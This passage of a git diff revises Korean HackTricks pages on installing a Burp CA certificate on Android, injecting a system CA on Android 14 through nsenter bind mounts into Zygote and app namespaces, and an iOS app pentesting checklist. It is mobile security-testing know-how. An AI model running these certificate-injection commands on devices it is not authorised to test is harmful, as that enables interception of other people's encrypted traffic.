[**CoreGraphics 이벤트**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf)를 사용한 다른 방법:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## 참고
|
||||
|
||||
|
|
|
@ -2,25 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 기여하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 가상 머신에서
|
||||
|
||||
먼저 Burp에서 Der 인증서를 다운로드해야 합니다. 이 작업은 _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 에서 수행할 수 있습니다.
|
||||
먼저 Burp에서 Der 인증서를 다운로드해야 합니다. 이를 _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 에서 수행할 수 있습니다.
|
||||
|
||||
![](<../../.gitbook/assets/image (367).png>)
|
||||
|
||||
**Der 형식으로 인증서를 내보내고**, 이를 **Android가 이해할 수 있는 형식으로 변환**해야 합니다. **AVD의 Android 기계에 Burp 인증서를 구성하려면** 이 기계를 **`-writable-system`** 옵션으로 **실행**해야 합니다.\
|
||||
**Der 형식으로 인증서를 내보내고**, 이를 **Android가 이해할 수 있는 형태로 변환**해야 합니다. **AVD의 Android 기계에 Burp 인증서를 구성하려면** 이 기계를 **`-writable-system`** 옵션으로 **실행**해야 합니다.\
|
||||
예를 들어 다음과 같이 실행할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -48,35 +48,35 @@ adb reboot #Now, reboot the machine
|
|||
|
||||
## Magisc 사용
|
||||
|
||||
만약 **Magisc로 기기를 루팅**했고(어쩌면 에뮬레이터), 이전 **단계를 따를 수 없는 경우**에는 Burp 인증서를 설치할 수 없는데 **파일 시스템이 읽기 전용**이기 때문에 쓰기 가능하게 다시 마운트할 수 없는 경우 다른 방법이 있습니다.
|
||||
만약 **Magisc로 기기를 루팅**했고 이전 **단계를 따를 수 없는 경우** (아마도 에뮬레이터 때문에) 파일 시스템이 읽기 전용이어서 쓰기 가능하게 다시 마운트할 수 없다면 다른 방법이 있습니다.
|
||||
|
||||
[**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)에서 설명된대로:
|
||||
|
||||
1. **CA 인증서 설치**: DER Burp 인증서를 `.crt`로 확장자를 변경하여 모바일에 저장하고 `인증서 설치` -> `CA 인증서`로 이동하여 Downloads 폴더에 저장합니다.
|
||||
1. **CA 인증서 설치**: DER 버프 인증서를 `.crt`로 확장자를 변경하여 모바일에 저장하고 `다운로드` 폴더에 저장한 후 `인증서 설치` -> `CA 인증서`로 이동하여 인증서를 **드래그 앤 드롭**하십시오.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="164"><figcaption></figcaption></figure>
|
||||
|
||||
* `Trusted credentials` -> `USER`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다.
|
||||
* `신뢰할 수 있는 자격 증명` -> `사용자`로 이동하여 인증서가 올바르게 저장되었는지 확인하십시오.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||
|
||||
2. **시스템 신뢰 설정**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` 파일)을 다운로드하고, 폰에 **드래그 앤 드롭**하여 폰의 Magics 앱으로 이동하여 `Modules` 섹션으로 이동한 후 `Install from storage`를 클릭하여 `.zip` 모듈을 선택하고 설치한 후 폰을 **재부팅**합니다.
|
||||
2. **시스템 신뢰 설정**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` 파일)을 다운로드하고, 폰에 **드래그 앤 드롭**한 후, 폰의 Magics 앱으로 이동하여 `모듈` 섹션으로 이동하여 `.zip` 모듈을 선택하고 설치한 후 폰을 **재부팅**하십시오:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||
|
||||
* 재부팅 후 `Trusted credentials` -> `SYSTEM`으로 이동하여 Postswigger 인증서가 있는지 확인합니다.
|
||||
* 재부팅 후 `신뢰할 수 있는 자격 증명` -> `시스템`으로 이동하여 Postswigger 인증서가 있는지 확인하십시오
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="314"><figcaption></figcaption></figure>
|
||||
|
||||
## Android 14 이후
|
||||
|
||||
최신 Android 14 릴리스에서 시스템 신뢰 CA 인증서의 처리 방식에 중요한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 위치하여 루트 권한을 가진 사용자가 접근 및 수정할 수 있어 시스템 전체에 즉시 적용할 수 있었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동되었는데, 이는 **`/apex`** 경로 내의 디렉토리로서 기본적으로 변경할 수 없습니다.
|
||||
최신 Android 14 릴리스에서 시스템 신뢰 CA 인증서의 처리 방식에 중요한 변화가 관찰되었습니다. 이전에는 이러한 인증서가 **`/system/etc/security/cacerts/`**에 위치하여 루트 권한을 가진 사용자가 액세스하고 수정할 수 있어 시스템 전반에 즉시 적용되었습니다. 그러나 Android 14에서는 저장 위치가 **`/apex/com.android.conscrypt/cacerts`**로 이동되었는데, 이는 **`/apex`** 경로 내의 디렉토리로서 기본적으로 변경할 수 없습니다.
|
||||
|
||||
**APEX cacerts 경로**를 쓰기 가능하게 다시 마운트하려는 시도는 실패로 끝나며 시스템이 이러한 작업을 허용하지 않습니다. 심지어 디렉토리를 임시 파일 시스템(tmpfs)으로 언마운트하거나 오버레이하더라도 변경 사항이 시스템 전체에 적용되지 않고 애플리케이션이 파일 시스템 수준에서 변경되더라도 원래의 인증서 데이터에 계속 액세스합니다. 이러한 강건함은 **`/apex`** 마운트가 PRIVATE 전파로 구성되어 있기 때문에 발생하며, 이는 **`/apex`** 디렉토리 내의 변경 사항이 다른 프로세스에 영향을 미치지 않도록 보장합니다.
|
||||
**APEX cacerts 경로**를 쓰기 가능하게 다시 마운트하려는 시도는 실패로 끝나며 시스템이 이러한 작업을 허용하지 않습니다. 심지어 디렉토리를 임시 파일 시스템 (tmpfs)으로 언마운트하거나 오버레이하더라도 불변성을 우회할 수 없으며, 애플리케이션은 파일 시스템 수준의 변경과 관계없이 원래의 인증서 데이터에 계속 액세스합니다. 이러한 탄력성은 **`/apex`** 마운트가 PRIVATE 전파로 구성되어 있기 때문에 발생합니다. 이는 **`/apex`** 디렉토리 내의 수정 사항이 다른 프로세스에 영향을 미치지 않도록 보장합니다.
|
||||
|
||||
Android의 초기화는 `init` 프로세스를 포함하며, 운영 체제를 시작할 때 Zygote 프로세스도 시작됩니다. 이 프로세스는 새로운 마운트 네임스페이스를 사용하여 애플리케이션 프로세스를 시작하는데, 이는 **`/apex`** 마운트를 포함하고 있어 이 디렉토리의 변경 사항을 다른 프로세스와 격리시킵니다.
|
||||
Android의 초기화는 `init` 프로세스를 포함하며, 운영 체제를 시작할 때 Zygote 프로세스도 시작됩니다. 이 프로세스는 새로운 마운트 네임스페이스를 사용하여 애플리케이션 프로세스를 시작하는데, 이는 개인 **`/apex`** 마운트를 포함하여 이 디렉토리의 변경 사항을 다른 프로세스로부터 격리시킵니다.
|
||||
|
||||
그러나 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 해결책이 존재합니다. 이는 **`/apex`**를 수동으로 다시 마운트하여 PRIVATE 전파를 제거하여 쓰기 가능하게 만드는 것을 포함합니다. 이 프로세스에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, **`/apex/com.android.conscrypt`** 디렉토리를 언마운트하여 읽기 전용 제약을 제거한 후 내용을 **`/apex`** 내의 원래 위치로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치가 필요합니다. 이러한 변경 사항을 시스템 전체에 적용하기 위해 `system_server`를 다시 시작하는 것이 권장됩니다. 이는 모든 애플리케이션을 다시 시작하고 시스템을 일관된 상태로 가져오기 때문입니다.
|
||||
그러나 **`/apex`** 디렉토리 내의 시스템 신뢰 CA 인증서를 수정해야 하는 경우 해결책이 있습니다. 이는 **`/apex`**를 수동으로 다시 마운트하여 PRIVATE 전파를 제거하여 쓰기 가능하게 만드는 것을 포함합니다. 이 프로세스에는 **`/apex/com.android.conscrypt`**의 내용을 다른 위치로 복사하고, 읽기 전용 제약을 제거하기 위해 **`/apex/com.android.conscrypt`** 디렉토리를 언마운트하고, 그런 다음 내용을 **`/apex`** 내의 원래 위치로 복원하는 것이 포함됩니다. 이 접근 방식은 시스템 충돌을 피하기 위해 신속한 조치가 필요합니다. 이러한 변경 사항이 시스템 전반에 적용되도록 하려면 `system_server`를 다시 시작하는 것이 좋으며, 이는 모든 애플리케이션을 다시 시작하고 시스템을 일관된 상태로 가져옵니다.
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
|
@ -141,17 +141,17 @@ echo "System certificate injected"
|
|||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **CA 인증서 준비**: 쓰기 가능한 디렉토리 설정 후, 사용할 CA 인증서를 이 디렉토리로 복사해야 합니다. 이는 `/apex/com.android.conscrypt/cacerts/`에서 기본 인증서를 복사하는 것을 포함할 수 있습니다. 이 인증서들의 권한과 SELinux 레이블을 적절히 조정하는 것이 중요합니다.
|
||||
3. **Zygote를 위한 Bind Mounting**: `nsenter`를 활용하여 Zygote의 마운트 네임스페이스에 진입합니다. Android 애플리케이션을 시작하는 프로세스인 Zygote는 이 단계를 통해 앞으로 시작되는 모든 애플리케이션이 새로 구성된 CA 인증서를 사용하도록 보장합니다. 사용되는 명령어는 다음과 같습니다:
|
||||
3. **Zygote를 위한 Bind Mounting**: `nsenter`를 활용하여 Zygote의 마운트 네임스페이스에 진입합니다. 안드로이드 애플리케이션을 시작하는 프로세스인 Zygote는 이 단계를 필요로 하며, 앞으로 시작되는 모든 애플리케이션이 새로 구성된 CA 인증서를 사용하도록 보장합니다. 사용되는 명령어는 다음과 같습니다:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
이렇게하면 시작된 모든 새 앱이 업데이트된 CA 인증서 설정을 준수합니다.
|
||||
이렇게 하면 새로 시작된 모든 앱이 업데이트된 CA 인증서 설정을 준수하게 됩니다.
|
||||
|
||||
4. **실행 중인 앱에 변경 사항 적용하기**: 이미 실행 중인 애플리케이션에 변경 사항을 적용하려면 `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가서 유사한 바인드 마운트를 수행합니다. 필요한 명령어는 다음과 같습니다:
|
||||
4. **실행 중인 앱에 변경 사항 적용하기**: 이미 실행 중인 앱에 변경 사항을 적용하려면 `nsenter`를 다시 사용하여 각 앱의 네임스페이스에 개별적으로 들어가서 유사한 바인드 마운트를 수행해야 합니다. 필요한 명령어는 다음과 같습니다:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **대체 접근 방법 - 소프트 리부팅**: 대체 방법은 `init` 프로세스 (PID 1)에서 bind 마운트를 수행한 후 `stop && start` 명령으로 운영 체제를 소프트 리부팅하는 것을 포함합니다. 이 접근 방법은 모든 네임스페이스에 변경 사항을 전파하여 각 실행 중인 앱을 개별적으로 처리할 필요가 없게 합니다. 그러나 이 방법은 재부팅의 불편함 때문에 일반적으로 선호되지 않습니다.
|
||||
5. **대체 접근 방식 - 소프트 리부팅**: 대체 방법은 `init` 프로세스 (PID 1)에서 bind 마운트를 수행한 다음 `stop && start` 명령으로 운영 체제를 소프트 리부팅하는 것입니다. 이 방법은 모든 네임스페이스에 변경 사항을 전파하여 각 실행 중인 앱을 개별적으로 처리할 필요가 없게 합니다. 그러나 이 방법은 재부팅의 불편함 때문에 일반적으로 선호되지 않습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
|
|
|
@ -1,23 +1,23 @@
|
|||
# iOS Pentesting Checklist
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 **자동화된 워크플로우**를 쉽게 구축하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고**를 하거나 **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고**를 하거나 **PDF 형식으로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소로 **PR 제출**하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -32,9 +32,9 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 준비
|
||||
|
||||
* [ ] [**iOS 기본 사항**](ios-pentesting/ios-basics.md)을 읽으세요
|
||||
* [ ] [**iOS 테스트 환경**](ios-pentesting/ios-testing-environment.md)을 읽어 환경을 준비하세요
|
||||
* [ ] [**iOS 초기 분석**](ios-pentesting/#initial-analysis)의 모든 섹션을 읽어 iOS 애플리케이션을 펜테스트하는 일반적인 작업을 배우세요
|
||||
* [ ] [**iOS Basics**](ios-pentesting/ios-basics.md)를 읽으세요
|
||||
* [ ] [**iOS Testing Environment**](ios-pentesting/ios-testing-environment.md)를 읽고 환경을 준비하세요
|
||||
* [ ] [**iOS Initial Analysis**](ios-pentesting/#initial-analysis)의 모든 섹션을 읽어 iOS 애플리케이션을 펜테스트하는 일반적인 작업을 배우세요
|
||||
|
||||
### 데이터 저장
|
||||
|
||||
|
@ -52,7 +52,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 키보드
|
||||
|
||||
* [ ] 응용 프로그램이 [**사용자 정의 키보드를 사용할 수 있게 허용**](ios-pentesting/#custom-keyboards-keyboard-cache)하는지 확인하세요.
|
||||
* [ ] 응용 프로그램이 [**사용자 정의 키보드를 사용할 수 있도록 허용**](ios-pentesting/#custom-keyboards-keyboard-cache)합니까?
|
||||
* [ ] 민감한 정보가 [**키보드 캐시 파일에 저장**](ios-pentesting/#custom-keyboards-keyboard-cache)되었는지 확인하세요
|
||||
|
||||
### **로그**
|
||||
|
@ -62,7 +62,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
### 백업
|
||||
|
||||
* [ ] [**백업**](ios-pentesting/#backups)은 파일 시스템에 저장된 민감한 정보에 **액세스**하는 데 사용될 수 있습니다 (이 체크리스트의 초기 지점을 확인하세요)
|
||||
* [ ] 또한, [**백업**](ios-pentesting/#backups)은 일부 구성을 **수정**하고, 그 **수정된 구성**이 **로드**될 때 일부 (보안) **기능**이 **우회**될 수 있도록 **응용 프로그램의 구성을 변경**할 수 있습니다
|
||||
* [ ] 또한, [**백업**](ios-pentesting/#backups)은 응용 프로그램의 일부 구성을 **수정**하고, 그 **수정된 구성**이 **로드**될 때 일부 (보안) **기능**이 **우회**될 수 있도록 **복원**할 수 있습니다
|
||||
|
||||
### **응용 프로그램 메모리**
|
||||
|
||||
|
@ -71,41 +71,41 @@ HackTricks를 지원하는 다른 방법:
|
|||
### **암호화 깨짐**
|
||||
|
||||
* [ ] **암호화에 사용된 비밀번호**를 찾을 수 있는지 확인하세요
|
||||
* [ ] 민감한 데이터를 전송/저장하기 위해 **폐기된/약한 알고리즘**을 사용하는지 확인하세요
|
||||
* [ ] **암호화 함수를 후킹하고 모니터링**하는지 확인하세요
|
||||
* [ ] 민감한 데이터를 전송/저장하기 위해 [**폐기된/약한 알고리즘**](ios-pentesting/#broken-cryptography)을 사용하는지 확인하세요
|
||||
* [ ] [**암호화 함수를 후킹하고 모니터링**](ios-pentesting/#broken-cryptography)하세요
|
||||
|
||||
### **로컬 인증**
|
||||
|
||||
* [ ] 응용 프로그램에서 [**로컬 인증**](ios-pentesting/#local-authentication)을 사용하는 경우, 인증이 어떻게 작동하는지 확인하세요.
|
||||
* [ ] [**로컬 인증 프레임워크**](ios-pentesting/#local-authentication-framework)를 사용하는 경우 쉽게 우회될 수 있습니다
|
||||
* [ ] [**Local Authentication Framework**](ios-pentesting/#local-authentication-framework)을 사용하는 경우 쉽게 우회될 수 있습니다
|
||||
* [ ] [**동적으로 우회할 수 있는 함수**](ios-pentesting/#local-authentication-using-keychain)를 사용하는 경우 사용자 지정 frida 스크립트를 만들 수 있습니다
|
||||
|
||||
### IPC를 통한 민감한 기능 노출
|
||||
|
||||
* [**사용자 지정 URI 핸들러 / 딥링크 / 사용자 지정 스키마**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [**사용자 정의 URI 핸들러 / 딥링크 / 사용자 정의 스키마**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] 응용 프로그램이 **어떤 프로토콜/스키마를 등록**하는지 확인하세요
|
||||
* [ ] 응용 프로그램이 **사용하기 위해 등록**하는지 확인하세요 어떤 프로토콜/스키마
|
||||
* [ ] 응용 프로그램이 사용자 지정 스키마를 통해 **수신할 예정인 민감한 정보**를 다른 응용 프로그램이 동일한 스키마를 등록하여 **가로챌 수 있는지** 확인하세요
|
||||
* [ ] 응용 프로그램이 사용자 입력을 **확인하고 정리하지 않는지** 확인하고 일부 **취약점을 악용**할 수 있는지 확인하세요
|
||||
* [ ] 응용 프로그램이 사용자 지정 스키마를 통해 **어디서든 호출할 수 있는 민감한 작업**을 노출하는지 확인하세요
|
||||
* [ ] 응용 프로그램이 사용자가 등록한 동일한 스키마를 사용하여 **가로챌 수 있는 민감한 정보를 기대**하는지 확인하세요
|
||||
* [ ] 사용자 지정 스키마를 통해 **사용자 입력을 확인하고 정리하지 않는** 경우 **취약점을 악용**할 수 있는지 확인하세요
|
||||
* [ ] 응용 프로그램이 **사용자 정의 스키마를 통해 어디서든 호출할 수 있는 민감한 작업을 노출**하는지 확인하세요
|
||||
* [**Universal Links**](ios-pentesting/#universal-links)
|
||||
* [ ] 응용 프로그램이 **어떤 유니버설 프로토콜/스키마를 등록**하는지 확인하세요
|
||||
* [ ] `apple-app-site-association` 파일을 확인하세요
|
||||
* [ ] 응용 프로그램이 사용자 입력을 **확인하고 정리하지 않는지** 확인하고 일부 **취약점을 악용**할 수 있는지 확인하세요
|
||||
* [ ] 응용 프로그램이 사용자 지정 스키마를 통해 **어디서든 호출할 수 있는 민감한 작업**을 노출하는지 확인하세요
|
||||
* [**UIActivity 공유**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] 응용 프로그램이 UIActivities를 수신할 수 있는지 확인하고 특별히 설계된 활동으로 **취약점을 악용**할 수 있는지 확인하세요
|
||||
* [ ] 사용자 지정 스키마를 통해 **사용자 입력을 확인하고 정리하지 않는** 경우 **취약점을 악용**할 수 있는지 확인하세요
|
||||
* [ ] 응용 프로그램이 **어디서든 호출할 수 있는 민감한 작업을 노출**하는지 확인하세요
|
||||
* [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] 응용 프로그램이 UIActivities를 수신할 수 있는지 확인하고 특별히 제작된 활동으로 **취약점을 악용**할 수 있는지 확인하세요
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] 응용 프로그램이 **일반 붙여넣기**에 무언가를 **복사**하는지 확인하세요
|
||||
* [ ] 응용 프로그램이 일반 붙여넣기에서 **데이터를 사용**하는지 확인하세요
|
||||
* [ ] 민감한 데이터가 복사되었는지 확인하기 위해 붙여넣기를 모니터링하세요
|
||||
* [**앱 확장**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] 응용 프로그램이 **확장을 사용**하는지 확인하세요
|
||||
* [ ] 응용 프로그램이 **일반 붙여넣기판에 복사하는지** 확인하세요
|
||||
* [ ] 응용 프로그램이 **일반 붙여넣기판에서 데이터를 사용하는지** 확인하세요
|
||||
* [ ] 민감한 데이터가 복사되었는지 확인하기 위해 붙여넣기판을 모니터링하세요
|
||||
* [**App Extensions**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] 응용 프로그램이 **어떤 확장을 사용하는지** 확인하세요
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] 사용 중인 웹뷰 종류를 확인하세요
|
||||
* [ ] **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**의 상태를 확인하세요
|
||||
* [ ] 웹뷰가 **`file://` 프로토콜로 로컬 파일에 액세스**할 수 있는지 확인하세요 (**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Javascript가 **Native 메서드에 액세스**할 수 있는지 확인하세요 (`JSContext`, `postMessage`)
|
||||
* [ ] 웹뷰가 **`file://`** 프로토콜로 **로컬 파일에 액세스할 수 있는지** 확인하세요 **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Javascript가 **Native 메서드에 액세스할 수 있는지** 확인하세요 (`JSContext`, `postMessage`)
|
||||
### 네트워크 통신
|
||||
|
||||
* [ ] [**통신에 대한 MitM**](ios-pentesting/#network-communication)을 수행하고 웹 취약점을 검색합니다.
|
||||
|
@ -130,17 +130,17 @@ HackTricks를 지원하는 다른 방법:
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 팔로우하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,24 +1,24 @@
|
|||
# iOS Pentesting
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
